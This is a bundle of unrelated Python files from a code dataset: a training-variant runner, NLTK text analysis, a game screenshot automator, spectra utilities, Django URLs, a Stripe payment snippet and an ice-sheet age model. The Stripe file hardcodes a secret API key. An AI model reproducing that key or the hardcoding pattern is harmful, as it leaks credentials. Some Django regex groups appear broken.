k, v in d.items():\n new_key = parent_key + sep + k if parent_key else k\n if isinstance(v, MutableMapping):\n items.extend(ConfigFullLoader.flatten_dict(v, new_key, sep=sep).items())\n else:\n items.append((new_key, v))\n return dict(items)\n\n @staticmethod\n def evaluate(loader: yaml.Loader, node: yaml.nodes.MappingNode):\n # noinspection PyTypeChecker\n expr = loader.construct_scalar(node)\n try:\n fd = ConfigFullLoader.flatten_dict(list(loader.constructed_objects.values())[0])\n val = round(float(parse_expr(expr, local_dict={k.split('.')[-1]: v for k, v in fd.items()})), 6)\n if val == int(val):\n val = int(val)\n except (ValueError, TypeError):\n return expr\n return val\n\n\n\ndef set_value(base_config, key, value):\n keys = key.split('.')\n all_but_last_key = keys[:-1]\n last_key = keys[-1]\n\n lookup = base_config\n\n for key in all_but_last_key:\n lookup = lookup[key]\n\n lookup[last_key] = value\n\n\ndef run_pretrain_variant(index, variant, base_model_config, base_train_config):\n\n for config, key, value in variant:\n base_config = None\n\n if config == Config.MODEL:\n base_config = base_model_config\n\n elif config == Config.TRAIN:\n base_config = base_train_config\n\n set_value(base_config, key, value)\n\n def write(filename, index, config):\n file = open(filename + '-' + str(index) + '.yaml', 'w')\n yaml.dump(config, file)\n\n write(base_model_filename, index , base_model_config)\n write(base_train_filename, index, base_train_config)\n\n args = (\n \"python\",\n \"src/main.py\",\n f\"--model_key={model_key}\",\n f\"--model_config={model_config}-{index}\",\n f\"--intention={train_key}\",\n f\"--train_config={train_config}-{index}\")\n\n print(f\"Running {args}\")\n\n subprocess.run(args)\n\n print(f\"Done running {args}\")\n\ndef run_downstream_variant(index):\n\n args = (\n \"python\",\n \"src/main.py\",\n \"--resume\",\n f\"--model_key={model_key}\",\n f\"--model_config={model_config}-{index}\",\n f\"--intention={downstream_train_key}\",\n f\"--train_config={downstream_train_config}\")\n\n print(f\"Running {args}\")\n\n subprocess.run(args)\n\n print(f\"Done running {args}\")\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/run_multiple.py","file_name":"run_multiple.py","file_ext":"py","file_size_in_byte":4846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"399897436","text":"import nltk\n\nall_answers = (\"\"\"\"\"\")\n\nst_words = [',', 'I', 'if', 'my', 'the', '1)', '2)', '3)', 'are', 'is', '.', 'to', '''I'd''', '-', 'by', 'for', 'and', '''doesn't''', 'then',\n 'go', 'from', 'there', 'will', 'like', 'at', 'did', 'weren', \"don't\", 'few', 'it', 'his', 'is', 'so', 'now', \"wouldn't\", \"shan't\",\n 'she', \"shouldn't\", \"won't\", 'which', 'will', 'nor', 'out', \"should've\", 'you', 'themselves', 'because', 'theirs', 'too', 'on', 'me',\n 'under', 'up', 'during', \"you've\", 'those', \"it's\", 'are', 'no', 'before', 'against', 'couldn', 've', 'ourselves', 'in', 'won', \"didn't\",\n 'such', \"haven't\", \"mustn't\", 'once', 'who', 'an', 'most', 'same', 'if', 'he', 'does', 'my', 'further', 'here', \"hasn't\", 'we', 'these',\n 'have', 'hers', 'any', 'not', 'as', 'above', 'should', 'down', 'after', 'being', 'having', 'wasn', 'y', 'your', 'its', 'then', 'am', 'has',\n 'haven', 'why', 'were', 'was', 'for', 'while', 'of', 're', 'isn', 'himself', 't', 'hadn', 'itself', 'about', 'between', 'aren', \"needn't\",\n \"hadn't\", 'where', \"aren't\", 'off', \"that'll\", 'i', 'they', 'own', 'doing', 'but', \"weren't\", 'other', 'what', 'yourselves', 'do', 'only',\n 'below', 'her', 'yours', 'herself', 'd', 'the', 'all', 'their', 'doesn', 'myself', 'didn', 'a', 'our', 'don', \"you'd\", 'by', 'again', 'into',\n 'through', 'had', 'll', \"doesn't\", 'can', 'just', 'been', 'than', 'ma', 'mightn', \"she's\", 'be', 'very', 'him', 'some', 'hasn', 'how', 'needn',\n 'm', \"isn't\", \"you're\", 'to', \"mightn't\", 'wouldn', 'at', 'and', 'shan', 'each', \"you'll\", 'this', 'when', 'both', 'ain', 'mustn', 'or', 'shouldn',\n 'more', 'that', 'yourself', 'until', 'with', 'them', 'from', 's', 'ours', \"couldn't\", 'over', 'there', \"wasn't\", 'o', 'whom', 'If', 'set', 'look', 'would',\n 'For', 'see', 'first', 'need', 'This', ')', '(', \"'d\", 'make', 'The', 'also', 'want', 'one', 'whether', 'either', 'start',\n 'We', 'looking', 'may', \"'nt\", 'could', 'using', 'use', 'might', 'data', 'able', 'going', \"'\", 'us', \"n't\"]\n\nfrom nltk.tokenize import sent_tokenize\ntoken_sent = sent_tokenize(all_answers)\n\nfrom nltk.tokenize import word_tokenize\ntoken_word = word_tokenize(all_answers)\n\nfilter_word = [ ]\nfor w in token_word:\n if w not in st_words:\n filter_word.append(w)\n\nfrom nltk.probability import FreqDist\nfdist = FreqDist(filter_word)\n\nimport matplotlib.pyplot as plt\nfdist.plot(50,cumulative = False)\nplt.show()\n\n\n\n","sub_path":"NLTK_Template.py","file_name":"NLTK_Template.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"607974289","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@File : RiddleJoker.py\n@Desc : RiddleJoker自动化截图工具\n@Desc : 进入第一张cg,启动程序,5秒内将焦点转到游戏中,等待\n@Desc : 测试用时2365秒\n@Version : 1.0\n@Time : 2021/02/19 22:37:42\n@Author : kevenano \n@Contact : kevenano@outloook.com\n'''\n\n# Hear put the import lib\nimport os\nimport pyautogui\nimport time\n\n\ndef main() -> None:\n startTime = time.time()\n time.sleep(5)\n saveFolder = r\"E:\\Temp\\extra\\To-Do\\RiddleJoker\\first\"\n bcList = [18, 12, 15, 20, 26, 24, 2, 6, 6, 7, 16, 70, 19, 16, \n 31, 68, 34, 19, 15, 47, 8, 9, 10, 10, 16, 10, 8, 6, 4, \n 18, 30, 47, 47, 23, 40, 29, 32, 25, 33, 22, 9, 7, 7, 3, \n 15, 4, 8, 5, 9, 5, 26, 19, 69, 36, 17, 21, 12, 12, 23, \n 23, 11, 10, 6, 6, 9, 6, 11, 5, 4, 6, 37, 26, 25, 20, 20, \n 18, 31, 15, 28, 22, 8, 54, 35, 42, 25, 8, 21, 21, 8, 9, \n 11, 18]\n print(\"Start!\\n\")\n print(\"***********************************************************\")\n for i in range(len(bcList)):\n subFolder = str(i).zfill(3)\n os.makedirs(os.path.join(saveFolder, subFolder))\n for j in range(bcList[i]):\n fileName = str(i).zfill(3)+'_'+str(j).zfill(3)+'.png'\n fileDir = os.path.join(saveFolder, subFolder, fileName)\n pyautogui.screenshot(fileDir, region=(0, 0, 1920, 1080))\n pyautogui.press('right')\n # time.sleep(0.5)\n print(f\"Group {i} image {j} done!\\n\")\n pyautogui.press('down')\n time.sleep(3)\n print(\"***********************************************************\")\n print(\"All Done!\")\n endTime = time.time()\n costTime = endTime-startTime\n print(\"Time cost:\\n\")\n print(str(costTime))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"P2V/RiddleJoker.py","file_name":"RiddleJoker.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"144580001","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 9 17:10:41 2021\n\n@author: wendygarcia mikelcharles\n\"\"\"\nimport numpy as np \nfrom data_types import ColumnIndexes, RangesData, PointData\nfrom scipy import signal\n\n######################################### shpinx ######################################### \n\"\"\"\nuseful_wavelength_flux_error_modules\n====================================\nUseful functions. \n\"\"\"\n#############################################################################################\n\n## COLUMN INDEX FOR WAVELENGTH, FLUX, ERROR IN SPECTRA (DR) FILES \ncolumn_index = ColumnIndexes(0, 1, 2)\n#wavelength: list,\ndef wavelength_flux_error_for_points( starting_point: float, ending_point: float, z: float, spectra_data) -> PointData: \n \"\"\"Returns one point of wavelength, flux and error for a range of wavelengths.\n ** OBSERVED WAVELENGTH NEEDED - WILL NOT WORK PROPERLY FOR RESTFRAME\n Records the wavelengths, flux, and error within the range of wavelengths provided. Using the observed wavelengths, it finds the average \n wavelength, median flux and median error for each of the anchor points.\n\n Parameters\n ----------\n wavelength: list\n \n starting_point : float\n Uses the range defined by the following variables: WAVELENGTH_RESTFRAME_FOR_LEFT_POINT, \n WAVELENGTH_RESTFRAME_FOR_RIGHT_POINT, WAVELENGTH_RESTFRAME_FOR_MIDDLE_POINT.\n ending_point: float\n Also, uses the range defined by the following variables: WAVELENGTH_RESTFRAME_FOR_LEFT_POINT\n WAVELENGTH_RESTFRAME_FOR_RIGHT_POINT, WAVELENGTH_RESTFRAME_FOR_MIDDLE_POINT.\n z: float\n Values from the data base of the redshift, DR16Q (for now..)\n spectra_data: list\n Current spectra data from files, DR16Q (for now...)\n\n Returns\n -------\n PointData.\n\n Examples\n --------\n wavelength, flux, and error would be replaced with data points.\n [(wavelength, flux, error),\n (wavelength, flux, error),\n (wavelength, flux, error)]\n \"\"\"\n \n ###### CHECK OVER DOCUMENTATION FOR THIS ######\n \n wavelength_column = spectra_data[:, column_index.wavelength]\n point_from = np.max(np.where(wavelength_column <= starting_point))\n point_to = np.min(np.where(wavelength_column >= ending_point))\n\n wavelength = spectra_data[point_from:point_to, column_index.wavelength]\n flux = spectra_data[point_from:point_to, column_index.flux] \n error = spectra_data[point_from:point_to, column_index.error] \n \n point = PointData(\n np.average(wavelength),\n np.median(flux),\n np.median(error))\n\n return point\n\ndef wavelength_flux_error_in_range(starting_point: float, ending_point: float, z: float, spectra_data) -> RangesData:\n \"\"\"Returns a range of a wavelength, flux and error defined by starting and ending points.\n\n Parameters\n ----------\n starting_point : float\n Uses the range defined by the following variable: WAVELENGTH_RESTFRAME.start, \n ending_point: float\n Also, uses the range defined by the following variable: WAVELENGTH_RESTFRAME.end\n z: float\n Values from the data base of the redshift, DR16Q (for now..)\n spectra_data: list\n Current spectra data from files, DR16Q (for now...)\n\n Returns\n -------\n RangesData.\n\n Examples\n --------\n RangesData(wavelength, flux, error). List of tuples of arrays.\n RangesData creates a list of tuples, within each tuple it stores arrays for the ranges of \n wavelength, flux, and error values.\n \"\"\"\n wavelength_column = spectra_data[:, column_index.wavelength]\n\n wavelength_observed_from = (z + 1) * starting_point\n wavelength_observed_to = (z + 1) * ending_point\n\n wavelength_lower_limit = np.where(wavelength_column > wavelength_observed_from)\n wavelength_upper_limit = np.where(wavelength_column < wavelength_observed_to)\n \n wavelength = spectra_data[np.min(wavelength_lower_limit[column_index.wavelength]):np.max(wavelength_upper_limit[column_index.wavelength]), column_index.wavelength]\n flux = spectra_data[np.min(wavelength_lower_limit[column_index.wavelength]): np.max(wavelength_upper_limit[column_index.wavelength]), column_index.flux]\n error = spectra_data[np.min(wavelength_lower_limit[column_index.wavelength]): np.max(wavelength_upper_limit[column_index.wavelength]), column_index.error]\n \n return RangesData(wavelength, flux, error)\n \ndef calculate_snr(wavelength, z: float, WAVELENGTH_FOR_SNR: range, error_normalized):\n \"\"\" Calculates the snr (signal to noise ratio). [Want a high SNR value].\n\n Parameters\n ----------\n wavelength: array\n Comes from RangesData(). \n z: float\n Values from the data base of the redshift, DR9Q (for now..).\n WAVELENGTH_FOR_SNR: range\n A range defined in the beginning of the normalization code. Can \n be changed by user.\n error_normalized: array\n The error from RangesData() divided by the power law. \n\n Returns\n -------\n Float or Int.\n snr_mean_in_ehvo().\n \"\"\"\n wavelengths_for_snr_lower = np.where (wavelength/(z + 1.) < WAVELENGTH_FOR_SNR.start)\n wavelengths_for_snr_upper = np.where (wavelength/(z + 1.) > WAVELENGTH_FOR_SNR.end)\n snr_mean_in_ehvo = round(np.mean(1./error_normalized[np.max(wavelengths_for_snr_lower[0]):np.min(wavelengths_for_snr_upper)]), 5)\n return snr_mean_in_ehvo ","sub_path":"useful_wavelength_flux_error_modules.py","file_name":"useful_wavelength_flux_error_modules.py","file_ext":"py","file_size_in_byte":5401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"502762332","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'manager'\n\nurlpatterns = [\n\n #/manager/\n url(r'^$', views.index, name='index'),\n\n url(r'^host/create/(?P[a-zA-Z0-9]+)$', views.CreateHost.as_view(), name='create-host'),\n url(r'^host/update/(?P[a-zA-Z0-9]+)$', views.UpdateHost.as_view(), name='update-host'),\n url(r'^host/delete/(?P[a-zA-Z0-9]+)$', views.DeleteHost.as_view(), name='delete-host'),\n\n url(r'^touch/create/(?P[a-zA-Z0-9]+)$', views.CreateTouch.as_view(), name='create-touch'),\n url(r'^touch/update/(?P[a-zA-Z0-9]+)$', views.UpdateTouch.as_view(), name='update-touch'),\n url(r'^touch/delete/(?P[a-zA-Z0-9]+)$', views.DeleteTouch.as_view(), name='delete-touch'),\n\n url(r'^create/status/$', views.create_status, name='quickadd-status'),\n\n]","sub_path":"manager/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"90418119","text":"import stripe\n\n\nstripe.api_key = 'sk_test_51I8iATIqXYelWJBByYQUj7VUiZEQN8bqB21s3Mr1wtaCrD3bkIu5zIXp08MecUfzrPORzz4FS0nj1jYoIEg0n6NZ004Gb29U5r'\n\nintent = stripe.PaymentIntent.create(\n amount=1099,\n currency='inr',\n # Verify your integration in this guide by including this parameter\n metadata={'integration_check': 'accept_a_payment'},\n)","sub_path":"ecommerce/payment/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"10124751","text":"\"\"\"\nThis is the age_model.py module, to invert isochronal layers along a radar profile.\n\"\"\"\n\nimport os\nimport time\nimport sys\nimport random\nimport math as m\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\nfrom matplotlib.colors import LogNorm, Normalize\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom scipy.interpolate import interp1d #Deprecated, use numpy.interp\nfrom scipy.optimize import leastsq\nfrom scipy.special import erf\nimport yaml\nimport pandas as pd\n\n###Registration of start time\nSTART_TIME = time.time()\n\n\n\n#Physical constants\nKg0 = 9.828\nKg1 = -5.7*10**-3\nLf = 333.5*10**3\nrhog = 917.\ncg0 = 152.5\ncg1 = 7.122\nggrav = 9.81\n#Tf0 = 273.16 #This is the value from Cuffey and Paterson (2010)\n#Tf1 = -9.8e-8 #This is the value from Cuffey and Paterson (2010)\nTf0 = 273.16-0.024 #This is the value from Catherine Ritz's thesis\nTf1 = -7.4e-8 #This is the value from Catherine Ritz's thesis\n\ndef cg(T):\n# return 2097.*np.ones(np.shape(T)) #at 0 degC\n return cg0+cg1*T\n\ndef Kg(T, D):\n \"\"\"From Patterson eqs. 9.2 and 9.4\"\"\"\n# return 2.10*np.ones(np.shape(T)) #at 0 degC\n# return Kg0*np.exp(Kg1*T)\n KiT = Kg0*np.exp(Kg1*T)\n return (2.*KiT*D)/(3.-D)\n\ndef Tf(P):\n return Tf0+Tf1*P\n\ndef interp1d_stair_aver(x, y): #TODO: deal with the case x not sorted\n \"\"\"\n Interpolation of a staircase function using averaging.\n This function returns nan outside of the input abscissa range.\n \"\"\"\n def f(xp):\n yp = np.empty(np.size(xp)-1)\n xmod = x[~(np.isnan(x)+np.isnan(y))]\n ymod = y[~(np.isnan(x)+np.isnan(y))]\n yint = np.cumsum(np.concatenate((np.array([0]), ymod[:-1]*(xmod[1:]-xmod[:-1]))))\n g = interp1d(xmod, yint, bounds_error=False, fill_value=np.nan)\n yp = np.where((xp[:-1] > min(xmod))*(xp[1:] < max(xmod)), (g(xp[1:])-g(xp[:-1]))/\\\n (xp[1:]-xp[:-1]), np.nan) #Maybe this is suboptimal since we compute twice g(xp[i])\n return yp\n return f\n\ndef interp1d_stair_aver_withnan(x, y): #TODO: deal with the case x not sorted\n \"\"\"\n Interpolation of a staircase function using averaging.\n This function returns nan when there are all nans in one interpolation interval.\n \"\"\"\n def f(xp):\n xmod = x[~(np.isnan(x)+np.isnan(y))]\n ymod = y[~(np.isnan(x)+np.isnan(y))]\n yp = np.empty(np.size(xp)-1)\n yint = np.cumsum(np.concatenate((np.array([0]), ymod[:-1]*(xmod[1:]-xmod[:-1]))))\n g = interp1d(xmod, yint, bounds_error=False, fill_value=np.nan)\n yp = np.where((xp[:-1] > min(xmod))*(xp[1:] < max(xmod)), (g(xp[1:])-g(xp[:-1]))/\\\n (xp[1:]-xp[:-1]), np.nan) #Maybe this is suboptimal since we compute twice g(xp[i])\n for i in range(np.size(xp)-1):\n if np.isnan(y[np.where((x >= xp[i])*(x < xp[i+1]))]).all():\n yp[i] = np.nan\n return yp\n\n return f\n\ndef interp1d_lin_aver_withoutnan(x, y):\n \"\"\"\n Interpolation of a linear by parts function using averaging.\n This function returns nan when there are all nans in one interpolation interval.\n FIXME: there is a problem in this routine when the x are in decreasing order.\n \"\"\"\n def f(xp):\n yp = np.empty(np.size(xp)-1)\n for i in range(np.size(xp)-1):\n xmod = x[~(np.isnan(x)+np.isnan(y))]\n ymod = y[~(np.isnan(x)+np.isnan(y))]\n xmod2 = xmod[np.where((xmod > xp[i])*(xmod < xp[i+1]))]\n ymod2 = ymod[np.where((xmod > xp[i])*(xmod < xp[i+1]))]\n xmod3 = np.concatenate((np.array([xp[i]]), xmod2, np.array([xp[i+1]])))\n g = interp1d(xmod, ymod, bounds_error=False, fill_value=np.nan)\n ymod3 = np.concatenate((np.array([g(xp[i])]), ymod2, np.array([g(xp[i+1])])))\n if np.isnan(ymod3).all():\n yp[i] = np.nan\n else:\n xmod4 = xmod3[np.where(~(np.isnan(ymod3)+np.isnan(xmod3)))]\n ymod4 = ymod3[np.where(~(np.isnan(ymod3)+np.isnan(xmod3)))]\n yp[i] = np.sum((ymod4[1:]+ymod4[:-1])/2*(xmod4[1:]-xmod4[:-1]))\n yp[i] = yp[i]/(xmod4[-1]-xmod4[0])\n return yp\n return f\n\n\ndef interp1d_lin_aver(x, y):\n \"\"\"\n Interpolation of a linear by parts function using averaging.\n This function returns nan when there are all nans in one interpolation interval.\n FIXME: there is a problem in this routine when the x are in decreasing order.\n \"\"\"\n def f(xp):\n yp = np.empty(np.size(xp)-1)\n for i in range(np.size(xp)-1):\n xmod = x[~(np.isnan(x)+np.isnan(y))]\n ymod = y[~(np.isnan(x)+np.isnan(y))]\n xmod2 = xmod[np.where((xmod > xp[i])*(xmod < xp[i+1]))]\n ymod2 = ymod[np.where((xmod > xp[i])*(xmod < xp[i+1]))]\n xmod3 = np.concatenate((np.array([xp[i]]), xmod2, np.array([xp[i+1]])))\n g = interp1d(x, y, bounds_error=False, fill_value=np.nan)\n ymod3 = np.concatenate((np.array([g(xp[i])]), ymod2, np.array([g(xp[i+1])])))\n if np.isnan(ymod3).all():\n yp[i] = np.nan\n else:\n xmod4 = xmod3[np.where(~(np.isnan(ymod3)+np.isnan(xmod3)))]\n ymod4 = ymod3[np.where(~(np.isnan(ymod3)+np.isnan(xmod3)))]\n yp[i] = np.sum((ymod4[1:]+ymod4[:-1])/2*(xmod4[1:]-xmod4[:-1]))\n yp[i] = yp[i]/(xmod4[-1]-xmod4[0])\n return yp\n return f\n\n\nclass RadarLine:\n\n def __init__(self, label):\n self.label = label\n\n def init(self):\n self.is_bedelev = False\n self.is_trace = False\n self.nbdsz = 0\n self.calc_sigma = True\n self.invert_G0 = False\n self.settick = 'auto'\n self.interp_method = 'lin_aver'\n self.distance_unit = 'km'\n self.nbhor = 0\n self.nbiso = 0\n self.firn_correction = 14.6\n self.resolution = 1.\n self.is_EDC = False\n self.calc_isoage = False\n self.distance_EDC = 0.\n self.age_surf = -50.\n self.dzeta = 0.01\n self.tm_iter = 5\n self.Ts = 212.74\n self.p_prior = 2\n self.p_sigma = 5\n self.G0_prior = 0.051\n self.G0_sigma = 0.025\n self.EDC_line_dashed = False\n self.is_NESW = False\n self.reverse_distance = False\n self.aspect = 0.028\n self.is_legend = True\n self.min_tick = 0.\n self.max_tick = 100.\n self.delta_tick = 10.\n self.invert_thk = False\n self.accu_min = 1.5\n self.accu_max = 2.5\n self.p_min = 0.\n self.p_max = 20.\n self.G0_min = 40.\n self.G0_max = 80.\n self.melting_min = 0.\n self.melting_max = 1.\n self.age_min = 0.5\n self.age_max = 3.\n self.height_min = 0.\n self.height_max = 200.\n self.reso_min = 5.\n self.reso_max = 30.\n self.opt_method = 'MH1D'\n self.MHnbiter = 3000\n self.MHiter_adapt1 = 1000\n self.MHiter_adapt2 = -1\n self.accu_step = 0.001\n self.p_step = 0.5\n self.G0_step = 0.002\n self.thick_step = 10.\n\n #definition of some global parameters\n# exec(open(self.label+'../parameters-AllRadarLines.py').read())\n data = yaml.load(open(self.label+'../parameters_all_radar_lines.yml').read(),\n Loader=yaml.FullLoader)\n if data != None:\n self.__dict__.update(data)\n filename = self.label+'parameters.yml'\n if os.path.isfile(filename):\n data = yaml.load(open(filename).read(), Loader=yaml.FullLoader)\n if data != None:\n self.__dict__.update(data)\n\n #Reading the radar dataset\n nbcolumns = 6+self.nbiso+self.is_bedelev+self.is_trace+self.nbhor\n print('nbcolumns:', nbcolumns)\n filename = self.label+'radar-data.txt'\n if os.path.isfile(filename):\n readarray = np.loadtxt(self.label+'radar-data.txt', usecols=range(nbcolumns),\n skiprows=1)\n else:\n readarray = np.loadtxt(self.label+'radar-data.dat', usecols=range(nbcolumns), \n skiprows=1)\n if readarray[0, 4] > readarray[-1, 4]:\n readarray = readarray[::-1, :]\n self.LON_raw = readarray[:, 0]\n self.LAT_raw = readarray[:, 1]\n self.x_raw = readarray[:, 2]\n self.y_raw = readarray[:, 3]\n self.distance_raw = readarray[:, 4]\n if self.distance_unit == 'm':\n self.distance_raw = self.distance_raw/1000.\n# self.thk_raw = readarray[:, 5]*self.dilatation_factor\n self.thk_raw = readarray[:, 5]+self.firn_correction\n index = 6\n if self.is_bedelev:\n self.bedelev = readarray[:, index]-self.firn_correction\n index = index+1\n if self.is_trace:\n self.trace = readarray[:, index]\n index = index+1\n self.iso_raw = np.transpose(readarray[:, index:index+self.nbiso])+self.firn_correction\n index = index+self.nbiso\n self.hor_raw = np.transpose(readarray[:, index:index+self.nbhor])+self.firn_correction\n\n if self.distance_start == 'auto':\n self.distance_start = np.min(self.distance_raw)+self.resolution\n if self.distance_end == 'auto':\n self.distance_end = np.max(self.distance_raw)-self.resolution\n\n #Interpolation of the datasets\n self.distance = np.arange(self.distance_start, self.distance_end+self.resolution,\n self.resolution)\n print(self.distance)\n if self.interp_method == 'stair_aver':\n #TODO: the input function is not a staircase one\n f = interp1d_stair_aver(self.distance_raw, self.thk_raw)\n elif self.interp_method == 'lin_aver':\n #TODO: the input function is not a staircase one\n f = interp1d_lin_aver_withoutnan(self.distance_raw, self.thk_raw)\n else:\n print('interpolation method not recognized')\n quit()\n self.thkreal = f(np.concatenate((self.distance-self.resolution/2,\n np.array([self.distance[-1]+self.resolution/2]))))\n self.thk = self.thkreal+0\n self.iso = np.zeros((self.nbiso, np.size(self.distance)))\n self.hor = np.zeros((self.nbhor, np.size(self.distance)))\n self.iso_modage = np.empty_like(self.iso)\n self.iso_modage_sigma = np.empty_like(self.iso)\n self.hor_modage = np.empty_like(self.hor)\n self.iso_EDC = np.zeros(self.nbiso)\n\n\n\n for i in range(self.nbiso):\n if self.interp_method == 'stair_aver':\n f = interp1d_stair_aver(self.distance_raw, self.iso_raw[i, :])\n elif self.interp_method == 'lin_aver':\n f = interp1d_lin_aver(self.distance_raw, self.iso_raw[i, :])\n else:\n print('interpolation method not recognized')\n quit()\n self.iso[i, :] = f(np.concatenate((self.distance-self.resolution/2,\n np.array([self.distance[-1]+self.resolution/2]))))\n\n\n for i in range(self.nbhor):\n if self.interp_method == 'stair_aver':\n f = interp1d_stair_aver(self.distance_raw, self.hor_raw[i, :])\n elif self.interp_method == 'lin_aver':\n f = interp1d_lin_aver(self.distance_raw, self.hor_raw[i, :])\n else:\n print('interpolation method not recognized')\n quit()\n self.hor[i, :] = f(np.concatenate((self.distance-self.resolution/2,\n np.array([self.distance[-1]+self.resolution/2]))))\n\n\n f = interp1d(self.distance_raw, self.LON_raw)\n self.LON = f(self.distance)\n f = interp1d(self.distance_raw, self.LAT_raw)\n self.LAT = f(self.distance)\n\n self.LON_twtt = np.empty_like(self.distance)\n self.LAT_twtt = np.empty_like(self.distance)\n for j in range(np.size(self.distance)):\n self.LON_twtt[j] = self.LON_raw[np.argmin(np.absolute(self.LON_raw-self.LON[j]) +\\\n np.absolute(self.LAT_raw-self.LAT[j]))]\n self.LAT_twtt[j] = self.LAT_raw[np.argmin(np.absolute(self.LON_raw-self.LON[j]) +\\\n np.absolute(self.LAT_raw-self.LAT[j]))]\n\n\n\n #Reading the AICC2012 dataset, calculation of steady age and interpolation\n readarray = np.loadtxt(self.label+'../AICC2012.txt')\n self.AICC2012_depth = readarray[:, 0]\n self.AICC2012_iedepth = readarray[:, 1]\n self.AICC2012_accu = readarray[:, 2]\n self.AICC2012_age = readarray[:, 3]\n self.AICC2012_sigma = readarray[:, 4]\n\n self.AICC2012_averageaccu = np.sum((self.AICC2012_age[1:] -\\\n self.AICC2012_age[:-1])*self.AICC2012_accu[:-1])/\\\n (self.AICC2012_age[-1]-self.AICC2012_age[0])\n print('average accu: ', self.AICC2012_averageaccu)\n self.AICC2012_steadyage = np.cumsum(np.concatenate((np.array([self.AICC2012_age[0]]),\\\n (self.AICC2012_age[1:]-self.AICC2012_age[:-1])*\\\n self.AICC2012_accu[:-1]/self.AICC2012_averageaccu)))\n print('steady/unsteady ratio: ', self.AICC2012_steadyage[-1]/self.AICC2012_age[-1])\n\n\n if (self.is_EDC and self.calc_isoage):\n for i in range(self.nbiso):\n f = interp1d(self.distance_raw, self.iso_raw[i, :])\n self.iso_EDC[i] = f(self.distance_EDC)\n\n self.z_err = np.loadtxt(self.label+'z-err.txt')\n\n f = interp1d(self.AICC2012_depth, self.AICC2012_age)\n self.iso_age = f(self.iso_EDC)\n self.iso_age = np.transpose([self.iso_age])\n self.iso_sigma1 = (f(self.iso_EDC+self.z_err)-f(self.iso_EDC-self.z_err))/2.\n g = interp1d(self.AICC2012_depth, self.AICC2012_sigma)\n self.iso_sigma2 = g(self.iso_EDC)\n self.iso_sigma = np.sqrt(self.iso_sigma1**2+self.iso_sigma2**2)\n self.iso_sigma = np.transpose([self.iso_sigma])\n\n #Code to be deleted\n self.iso_accu_sigma = np.zeros((self.nbiso, 1))\n self.iso_accu_sigma[0] = self.iso_sigma[0]/(self.iso_age[0]-self.age_surf)\n self.iso_accu_sigma[1:] = np.sqrt(self.iso_sigma[1:]**2+self.iso_sigma[:-1]**2)/\\\n (self.iso_age[1:]-self.iso_age[:-1])\n\n\n\n output = np.hstack((self.iso_age, self.iso_sigma, self.iso_accu_sigma))\n with open(self.label+'ages.txt', 'w') as f:\n f.write('#age (yr BP)\\tsigma_age (yr BP)\\tsigma_accu\\n')\n np.savetxt(f, output, delimiter=\"\\t\")\n\n#Reading ages of isochrones and their sigmas\n if os.path.isfile(self.label+'../ages.txt'):\n readarray = np.loadtxt(self.label+'../ages.txt')\n if os.path.isfile(self.label+'ages.txt'):\n readarray = np.loadtxt(self.label+'ages.txt')\n self.iso_age = np.transpose([readarray[:, 0]])\n self.iso_age = self.iso_age[0:self.nbiso]\n self.iso_sigma = np.transpose([readarray[:, 1]])\n self.iso_sigma = self.iso_sigma[0:self.nbiso]\n f = interp1d(self.AICC2012_age, self.AICC2012_steadyage)\n self.iso_steadyage = f(self.iso_age)\n\n\n\n\n self.a = self.a*np.ones(np.size(self.distance))\n self.G0 = self.G0*np.ones_like(self.distance)\n# self.mu = self.m/self.a\n self.p = self.p*np.ones(np.size(self.distance))\n self.s = self.s*np.ones(np.size(self.distance))\n self.thkie = np.empty_like(self.distance)\n\n self.zetagrid = np.arange(0, 1+self.dzeta, self.dzeta)\n self.zetagrid = self.zetagrid[::-1]\n self.zetagrid = np.transpose([self.zetagrid])\n self.zeta = np.ones((np.size(self.zetagrid), np.size(self.distance)))*self.zetagrid\n self.depth = np.empty_like(self.zeta)\n self.depthie = np.empty_like(self.zeta)\n self.zetaie = np.empty_like(self.zeta)\n self.D = np.empty_like(self.zeta[:-1, :])\n self.agesteady = np.zeros((np.size(self.zetagrid), np.size(self.distance)))\n self.age = np.zeros((np.size(self.zetagrid), np.size(self.distance)))\n self.age_density = np.zeros((np.size(self.zetagrid)-1, np.size(self.distance)))\n self.T = np.empty_like(self.age)\n self.T_anal = np.empty_like(self.age)\n self.Tf = np.empty_like(self.distance)\n self.Tm = np.empty_like(self.distance)\n self.alpha = np.empty_like(self.distance)\n self.dist = np.ones((np.size(self.zetagrid), np.size(self.distance)))*self.distance\n self.DeltaT = np.empty_like(self.distance)\n self.G = np.empty_like(self.distance)\n self.m = np.empty_like(self.distance)\n self.mu = np.empty_like(self.distance)\n self.omega_D = np.empty_like(self.age)\n self.omega = np.empty_like(self.age)\n self.tau = np.empty_like(self.age)\n self.uz = np.empty_like(self.age)\n self.sigma_a = np.zeros_like(self.distance)\n self.sigma_m = np.zeros_like(self.distance)\n self.sigma_p = np.zeros_like(self.distance)\n self.sigma_G0 = np.zeros_like(self.distance)\n self.sigma_age = np.zeros_like(self.age)\n self.sigma_logage = np.zeros_like(self.age)\n self.is_fusion = np.empty_like(self.distance)\n\n self.agebot = np.empty_like(self.distance)\n self.realagebot = np.empty_like(self.distance)\n self.agebot10kyrm = np.empty_like(self.distance)\n self.agebot15kyrm = np.empty_like(self.distance)\n self.age100m = np.empty_like(self.distance)\n 